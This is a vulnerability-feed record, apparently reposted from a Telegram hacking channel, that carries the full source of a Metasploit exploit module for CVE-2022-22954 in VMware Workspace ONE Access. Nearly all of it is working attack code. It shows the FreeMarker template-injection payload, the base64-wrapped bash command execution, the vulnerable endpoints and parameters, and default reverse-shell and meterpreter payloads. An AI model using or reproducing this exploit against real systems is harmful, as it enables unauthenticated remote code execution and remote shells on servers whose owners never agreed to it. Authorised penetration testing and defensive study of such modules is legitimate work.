{"uuid": "080b51ea-5cbf-4e2a-818d-d5bdd015d428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-22954", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/52110", "content": "Exploit Collector\nVMware Workspace ONE Access Template Injection / Command Execution\n\nhttps://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png This Metasploit module exploits CVE-2022-22954, an unauthenticated server-side template injection (SSTI) vulnerability in VMware Workspace ONE Access, to execute shell commands as the horizon user.\n\nSHA-256 | bf4114fce190a8b9bc1f2bfc2013620b04b05e7030c7cc59f3d685b8db2038b1Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'VMware Workspace ONE Access CVE-2022-22954',\n'Description' => %q{\nThis module exploits CVE-2022-22954, an unauthenticated server-side\ntemplate injection (SSTI) in VMware Workspace ONE Access, to execute\nshell commands as the \"horizon\" user.\n},\n'Author' => [\n'mr_me', # Discovery\n'Udhaya Prakash', # (@sherlocksecure of Poshmark Inc.) PoC\n'wvu' # Exploit and independent analysis\n],\n'References' => [\n['CVE', '2022-22954'],\n['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'],\n['URL', 'https://srcincite.io/advisories/src-2022-0005/'],\n['URL', 'https://github.com/sherlocksecurity/VMware-CVE-2022-22954'],\n['URL', 'https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis']\n# More context: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433\n],\n'DisclosureDate' => '2022-04-06',\n'License' => MSF_LICENSE,\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Privileged' => false,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/reverse_bash'\n}\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :dropper,\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n}\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'RPORT' => 443,\n'SSL' => true\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\n\nregister_options([\nOptString.new('TARGETURI', [true, 'Base path', '/'])\n])\nend\n\ndef check\nret = execute_command(\"echo #{token = rand_text_alphanumeric(8..16)}\")\n\nreturn CheckCode::Unknown unless ret\nreturn CheckCode::Safe unless ret.match?(/device (?:id|type): #{token}/)\n\nCheckCode::Vulnerable\nend\n\ndef exploit\nprint_status(\"Executing #{payload_instance.refname} (#{target.name})\")\n\ncase target['Type']\nwhen :cmd\nexecute_command(payload.encoded)\nwhen :dropper\nexecute_cmdstager\nend\nend\n\ndef execute_command(cmd, _opts = {})\nbash_cmd = \"bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}\"\n\nvprint_status(\"Executing command: #{bash_cmd}\")\n\nres = send_request_cgi({\n'method' => 'GET',\n'uri' => normalize_uri(target_uri.path, ssti_uri),\n'vhost' => rand_text_alphanumeric(8..16),\n'vars_get' => {\n%w[code error].sample => rand_text_alphanumeric(8..16),\n# https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html\nssti_param => %(${\"freemarker.template.utility.Execute\"?new()(\"#{bash_cmd}\")})\n}\n}, 3.5)\n\nreturn unless res\nreturn '' unless res.code == 400 && res.body.include?('auth.context.invalid')\n\nres.body\nend\n\ndef ssti_uri\n%w[\n/catalog-portal/hub-ui\n/catalog-portal/hub-ui/byob\n/catalog-portal/ui\n/catalog-portal/ui/oauth/verify\n].sample\nend\n\ndef ssti_param\n%w[deviceType deviceUdid].sample\nend\n\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T23:00:04.522610Z"}